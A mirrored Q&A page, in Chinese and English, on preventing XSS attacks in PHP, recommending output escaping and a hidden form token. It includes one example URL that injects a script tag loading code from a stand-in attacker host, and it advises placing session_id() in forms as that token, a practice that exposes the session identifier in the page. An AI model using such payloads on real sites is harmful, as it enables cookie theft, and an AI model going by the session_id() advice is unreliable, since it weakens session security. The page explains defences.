如何防止PHP中的XSS攻击? [英] How to prevent XSS attacks in PHP?

查看:212
本文介绍了如何防止PHP中的XSS攻击?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我在网络上发现许多防止XSS攻击的功能/类.现在,什么是100%最佳的PHP函数/类才能防止针对输入POST/GET表单值的XSS攻击?

I have found on the web many function/class to prevent XSS attacks. Now, what's best PHP function/class for 100% prevent XSS attacks for input POST/GET form value?

推荐答案

XSS(跨站点脚本)有多种形式,其中一种是允许用户通过将用户输入内容与生成的内容相混合来操纵您的网站内容. HTML.

XSS (cross-site scripting) comes in many forms, one of which is allowing a user to manipulate your website content by making it mix user input with the generated HTML.

示例:

http://www.exemple.com/setname.php?name=<script src=http://evil_source.com/browser_hijack.js></script>

如果您的网站在某处打印$_GET['name'],您将在HTML中注入这个邪恶的JavaScript,这将允许黑客以用户的名义与其进行交互,窃取Cookie等.

If your site prints $_GET['name'] somewhere, you will be injecting this evil JavaScript in your HTML that will allow a hacker to interact with it in name of the user, steal cookies etc.

在这种情况下,避免此类情况发生的最佳方法是过滤网站中显示的所有用户起源信息.

In this case, the best way to avoid such thing from happening is filtering all user-originated information that is displayed in your website.

通常的做法是使用 htmlspecialchars() htmlentities() .

The usual way of doing that is using processing user-originated content with htmlspecialchars() or htmlentities().

XSS经常被遗忘的另一个方面是跨站点发布.

Another aspect of XSS that is often forgotten is cross-site posting.

每个处理来自用户的敏感信息或命令的服务器端脚本都应检查用户是否确实发布了该信息,而不是其他来源与URL或任意POST请求混淆.

Every server-side script that processes sensitive information or commands coming from the user should check that the user really posted it, and not some other origin messing with URLs or arbitrary POST requests.

这是通过使用只有您的网站知道的发布密钥来完成的.我想您可以安全地使用session_id().这是只有您的服务器和用户的浏览器才能知道的信息.

This is done by using a post key that only your site knows. I suppose you can safely use the session_id() for that. This is an information that only your server and the user's browser know, and no one else.

您要做的事在每个<form>中都包括在内:

What you do do is in every <form>, include this:

<input type="hidden" name="postkey" value="<?php echo session_id(); ?>">

并在处理此表单的脚本中,确保$_REQUEST['postkey'] == session_id().

And in the script that handles this form, make sure $_REQUEST['postkey'] == session_id().

这将防止其他网站通过使用任意生成的公式或URL在您的网站上引起用户操作.

This will prevent other sites from inducing user actions on your site by using arbitrary generated formularies or URLs.

这篇关于如何防止PHP中的XSS攻击?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆